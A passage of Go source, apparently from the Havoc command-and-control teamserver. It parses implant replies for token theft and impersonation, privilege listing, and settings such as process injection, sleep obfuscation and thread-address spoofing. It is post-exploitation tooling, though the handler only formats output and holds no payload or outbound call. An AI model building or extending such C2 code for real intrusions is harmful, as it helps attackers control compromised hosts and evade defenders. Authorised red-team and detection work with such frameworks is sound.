Parser.ParseInt32())\n\t\t\t\t\t\tDomainAndUser = Parser.ParseUTF16String()\n\t\t\t\t\t\tProcessID     = Parser.ParseInt32()\n\t\t\t\t\t\tType          = Parser.ParseInt32()\n\t\t\t\t\t\tImpersonating = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tArray = append(Array, []any{TokenIndex, Handle, DomainAndUser, ProcessID, Type, Impersonating})\n\n\t\t\t\t\tif len(DomainAndUser) > MaxString {\n\t\t\t\t\t\tMaxString = len(DomainAndUser)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tFmtString = fmt.Sprintf(\" %%-4v  %%-6v  %%-%vv  %%-4v  %%-14v %%-4v\\n\", MaxString)\n\n\t\t\t\tif len(Array) > 0 {\n\t\t\t\t\tBuffer += fmt.Sprintf(FmtString, \" ID \", \"Handle\", \"Domain\\\\User\", \"PID\", \"Type\", \"Impersonating\")\n\t\t\t\t\tBuffer += fmt.Sprintf(FmtString, \"----\", \"------\", \"-----------\", \"---\", \"--------------\", \"-------------\")\n\n\t\t\t\t\tfor _, item := range Array {\n\n\t\t\t\t\t\tif item[4] == 0x1 {\n\t\t\t\t\t\t\titem[4] = \"stolen\"\n\t\t\t\t\t\t} else if item[4] == 0x2 {\n\t\t\t\t\t\t\titem[4] = \"make (local)\"\n\t\t\t\t\t\t} else if item[4] == 0x3 {\n\t\t\t\t\t\t\titem[4] = \"make (network)\"\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\titem[4] = \"unknown\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif item[5] == win32.TRUE {\n\t\t\t\t\t\t\titem[5] = \"Yes\"\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\titem[5] = \"No\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tBuffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5])\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tBuffer = \"The token vault is empty\"\n\t\t\t\t}\n\n\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\tOutput[\"Message\"] = \"Token Vault:\"\n\t\t\t\tOutput[\"Output\"] = \"\\n\" + Buffer\n\t\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST\", AgentID))\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tPrivList     = Parser.ParseInt32()\n\t\t\t\t\t\tOutputBuffer bytes.Buffer\n\t\t\t\t\t\tTableData    [][]string\n\t\t\t\t\t)\n\n\t\t\t\t\tif PrivList == win32.TRUE {\n\n\t\t\t\t\t\ttable := tablewriter.NewWriter(&OutputBuffer)\n\n\t\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\t\ttable.SetHeaderAlignment(tablewriter.ALIGN_CENTER)\n\n\t\t\t\t\t\ttable.SetRowSeparator(\" \")\n\t\t\t\t\t\ttable.SetColumnSeparator(\"::\")\n\t\t\t\t\t\ttable.SetCenterSeparator(\" \")\n\n\t\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tColumn    []string\n\t\t\t\t\t\t\t\tPrivilege string\n\t\t\t\t\t\t\t\tStateInt  int\n\t\t\t\t\t\t\t\tState     string\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tPrivilege = Parser.ParseString()\n\t\t\t\t\t\t\tStateInt = Parser.ParseInt32()\n\n\t\t\t\t\t\t\tif StateInt == 3 {\n\t\t\t\t\t\t\t\tState = \"Enabled\"\n\t\t\t\t\t\t\t} else if StateInt == 2 {\n\t\t\t\t\t\t\t\tState = \"Adjusted\"\n\t\t\t\t\t\t\t} else if StateInt == 0 {\n\t\t\t\t\t\t\t\tState = \"Disabled\"\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tState = \"Unknown\"\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tColumn = []string{Privilege, State}\n\t\t\t\t\t\t\tTableData = append(TableData, Column)\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttable.AppendBulk(TableData)\n\t\t\t\t\t\ttable.Render()\n\n\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\tOutput[\"Message\"] = \"List Privileges for current Token:\"\n\t\t\t\t\t\tOutput[\"Output\"] = \"\\n\" + OutputBuffer.String()\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tSuccess  = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tPrivName = Parser.ParseString()\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tif Success == 1 {\n\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"The privilege %s was successfully enabled\", PrivName)\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Failed to enable the %s privilege\", PrivName)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_MAKE:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_MAKE\", AgentID))\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Successfully created and impersonated token: %s\", Parser.ParseUTF16String())\n\t\t\t\t} else {\n\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Failed to create token\")\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_GET_UID:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tElevated = Parser.ParseInt32()\n\t\t\t\t\t\tUser     = Parser.ParseUTF16String()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Elevated: %d, User: %v\", AgentID, Elevated, User))\n\n\t\t\t\t\tOutput[\"Type\"] = typeGood\n\t\t\t\t\tif Elevated == 0 {\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Token User: %v\", User)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Token User: %v (Admin)\", User)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_REVERT:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tvar Successful = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Successful: %d\", AgentID, Successful))\n\n\t\t\t\t\tif Successful == win32.TRUE {\n\t\t\t\t\t\tOutput[\"Type\"] = typeGood\n\t\t\t\t\t\tOutput[\"Message\"] = \"Successful reverted token to itself\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Type\"] = typeError\n\t\t\t\t\t\tOutput[\"Message\"] = \"Failed to revert token to itself\"\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_REMOVE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSuccessful = Parser.ParseInt32()\n\t\t\t\t\t\tTokenID    = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Successful: %d, TokenID: %v\", AgentID, Successful, TokenID))\n\n\t\t\t\t\tif Successful == win32.TRUE {\n\t\t\t\t\t\tOutput[\"Type\"] = typeGood\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Successful removed token [%v] from vault\", TokenID)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Type\"] = typeError\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Failed to remove token [%v] from vault\", TokenID)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_FIND_TOKENS:\n\n\t\t\t\tvar (\n\t\t\t\t\tSuccessful          int\n\t\t\t\t\tBuffer              string\n\t\t\t\t\tDomainAndUser       string\n\t\t\t\t\tNumTokens           int\n\t\t\t\t\tProcessPID          int\n\t\t\t\t\tlocalHandle         int\n\t\t\t\t\tintegrity_level     int\n\t\t\t\t\tintegrity           string\n\t\t\t\t\timpersonation_level int\n\t\t\t\t\timpersonation       string\n\t\t\t\t\tTokenType           int\n\t\t\t\t\tType                string\n\t\t\t\t\tArray               [][]any\n\t\t\t\t\tMaxString           int\n\t\t\t\t\tRemoteAuth          string\n\t\t\t\t\tFmtString           string\n\t\t\t\t\tFoundTokens         bool\n\t\t\t\t)\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\tSuccessful = Parser.ParseInt32()\n\n\t\t\t\t\tMaxString = 0\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Successful: %d\", AgentID, Successful))\n\n\t\t\t\t\tif Successful == win32.TRUE {\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\t\t\tNumTokens = Parser.ParseInt32()\n\t\t\t\t\t\t\tFoundTokens = NumTokens > 0\n\n\t\t\t\t\t\t\tfor NumTokens > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\t\t\t\tDomainAndUser = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tProcessPID = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tlocalHandle = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tintegrity_level = Parser.ParseInt32()\n\t\t\t\t\t\t\t\timpersonation_level = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tTokenType = Parser.ParseInt32()\n\n\t\t\t\t\t\t\t\tif integrity_level <= SECURITY_MANDATORY_LOW_RID {\n\t\t\t\t\t\t\t\t\tintegrity = \"Low\"\n\t\t\t\t\t\t\t\t} else if integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && integrity_level < SECURITY_MANDATORY_HIGH_RID {\n\t\t\t\t\t\t\t\t\tintegrity = \"Medium\"\n\t\t\t\t\t\t\t\t} else if integrity_level >= SECURITY_MANDATORY_HIGH_RID && integrity_level < SECURITY_MANDATORY_SYSTEM_RID {\n\t\t\t\t\t\t\t\t\tintegrity = \"High\"\n\t\t\t\t\t\t\t\t} else if integrity_level >= SECURITY_MANDATORY_SYSTEM_RID {\n\t\t\t\t\t\t\t\t\tintegrity = \"System\"\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tRemoteAuth = \"No\"\n\t\t\t\t\t\t\t\tif TokenType == TokenImpersonation {\n\t\t\t\t\t\t\t\t\tType = \"Impersonation\"\n\n\t\t\t\t\t\t\t\t\tif impersonation_level == SecurityAnonymous {\n\t\t\t\t\t\t\t\t\t\timpersonation = \"Anonymous\"\n\t\t\t\t\t\t\t\t\t} else if impersonation_level == SecurityIdentification {\n\t\t\t\t\t\t\t\t\t\timpersonation = \"Identification\"\n\t\t\t\t\t\t\t\t\t} else if impersonation_level == SecurityImpersonation {\n\t\t\t\t\t\t\t\t\t\timpersonation = \"Impersonation\"\n\t\t\t\t\t\t\t\t\t} else if impersonation_level == SecurityDelegation {\n\t\t\t\t\t\t\t\t\t\timpersonation = \"Delegation\"\n\t\t\t\t\t\t\t\t\t\tRemoteAuth = \"Yes\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else if TokenType == TokenPrimary {\n\t\t\t\t\t\t\t\t\tType = \"Primary\"\n\t\t\t\t\t\t\t\t\timpersonation = \"N/A\"\n\t\t\t\t\t\t\t\t\tRemoteAuth = \"Yes\"\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tType = \"?\"\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tArray = append(Array, []any{DomainAndUser, integrity, Type, impersonation, \"Yes\", RemoteAuth, ProcessPID, fmt.Sprintf(\"%x\", localHandle)})\n\n\t\t\t\t\t\t\t\tif len(DomainAndUser) > MaxString {\n\t\t\t\t\t\t\t\t\tMaxString = len(DomainAndUser)\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tNumTokens--\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif FoundTokens == true {\n\t\t\t\t\t\t\t\tif MaxString < 13 {\n\t\t\t\t\t\t\t\t\tMaxString = 13\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tFmtString = fmt.Sprintf(\" %%-%vv  %%-9v  %%-13v  %%-16v  %%-9v %%-10v %%-9v %%-9v\\n\", MaxString)\n\n\t\t\t\t\t\t\t\tBuffer += fmt.Sprintf(FmtString, \" Domain\\\\User\", \"Integrity\", \"TokenType\", \"Impersonation LV\", \"LocalAuth\", \"RemoteAuth\", \"ProcessID\", \"Handle\")\n\t\t\t\t\t\t\t\tBuffer += fmt.Sprintf(FmtString, strings.Repeat(\"-\", MaxString), \"---------\", \"-------------\", \"----------------\", \"---------\", \"----------\", \"---------\", \"------\")\n\n\t\t\t\t\t\t\t\tfor _, item := range Array {\n\t\t\t\t\t\t\t\t\tif item[7] == \"0\" {\n\t\t\t\t\t\t\t\t\t\titem[7] = \"\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tBuffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5], item[6], item[7])\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tBuffer += \"\\nTo impersonate a user, run: token steal [process id] (handle)\"\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tBuffer += \"No tokens found\"\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\t\tOutput[\"Message\"] = \"Tokens available:\"\n\t\t\t\t\t\t\tOutput[\"Output\"] = \"\\n\" + Buffer\n\t\t\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet: %d\", AgentID))\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Type\"] = typeError\n\t\t\t\t\t\tOutput[\"Message\"] = \"Failed to list existing tokens\"\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_CLEAR:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_CLEAR\", AgentID))\n\t\t\t\tOutput[\"Type\"] = typeGood\n\t\t\t\tOutput[\"Message\"] = \"Token vault has been cleared\"\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - UNKNOWN (%d)\", AgentID, SubCommand))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_CONFIG:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tMessage = make(map[string]string)\n\n\t\t\t\tConfig     int\n\t\t\t\tConfigData any\n\t\t\t)\n\n\t\t\tConfig = Parser.ParseInt32()\n\t\t\tMessage[\"Type\"] = \"Good\"\n\n\t\t\tswitch Config {\n\n\t\t\tcase CONFIG_MEMORY_ALLOC:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseInt32()\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Default memory allocation set to %v\", ConfigData.(int))\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_MEMORY_EXECUTE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseInt32()\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Default memory executing set to %v\", ConfigData.(int))\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_INJECT_SPAWN64:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseUTF16String()\n\t\t\t\t\tMessage[\"Message\"] = \"Default x64 target process set to \" + ConfigData.(string)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_INJECT_SPAWN32:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseUTF16String()\n\t\t\t\t\tMessage[\"Message\"] = \"Default x86 target process set to \" + ConfigData.(string)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_KILLDATE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt64}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE\", AgentID))\n\t\t\t\t\ta.Info.KillDate = Parser.ParseInt64()\n\t\t\t\t\tteamserver.AgentUpdate(a)\n\t\t\t\t\tif a.Info.KillDate == 0 {\n\t\t\t\t\t\tMessage[\"Message\"] = \"KillDate was disabled\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Message\"] = \"KillDate has been set\"\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_WORKINGHOURS:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_WORKINGHOURS\", AgentID))\n\t\t\t\t\ta.Info.WorkingHours = int32(Parser.ParseInt32())\n\t\t\t\t\tteamserver.AgentUpdate(a)\n\t\t\t\t\tif a.Info.WorkingHours == 0 {\n\t\t\t\t\t\tMessage[\"Message\"] = \"WorkingHours was disabled\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Message\"] = \"WorkingHours has been set\"\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_IMPLANT_SPFTHREADSTART:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseString() + \"!\" + Parser.ParseString()\n\t\t\t\t\tMessage[\"Message\"] = \"Sleep obfuscation spoof thread start addr to \" + ConfigData.(string)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_IMPLANT_SLEEP_TECHNIQUE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseInt32()\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Sleep obfuscation technique set to %v\", ConfigData.(int))\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_IMPLANT_COFFEE_VEH:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseInt32()\n\t\t\t\t\tif ConfigData.(int) == 0 {\n\t\t\t\t\t\tConfigData = \"false\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tConfigData = \"true\"\n\t\t\t\t\t}\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Coffee VEH set to %v\", ConfigData.(string))\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_IMPLANT_COFFEE_THREADED:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseInt32()\n\t\t\t\t\tif ConfigData.(int) == 0 {\n\t\t\t\t\t\tConfigData = \"false\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tConfigData = \"true\"\n\t\t\t\t\t}\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Coffee threading set to %v\", ConfigData.(string))\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_INJECT_TECHNIQUE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE\", AgentID))\n\t\t\t\t\tConfigData = strconv.Itoa(Parser.ParseInt32())\n\t\t\t\t\tMessage[\"Message\"] = \"Set default injection technique to \" + ConfigData.(string)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_INJECT_SPOOFADDR:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseString() + \"!\" + Parser.ParseString()\n\t\t\t\t\tMessage[\"Message\"] = \"Injection thread spoofing value set to \" + ConfigData.(string)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase CONFIG_IMPLANT_VERBOSE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE\", AgentID))\n\t\t\t\t\tConfigData = Parser.ParseInt32()\n\n\t\t\t\t\tif ConfigData.(int) == 0 {\n\t\t\t\t\t\tConfigData = \"false\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tConfigData = \"true\"\n\t\t\t\t\t}\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Implant verbose messaging: %v\", ConfigData.(string))\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Error while setting certain 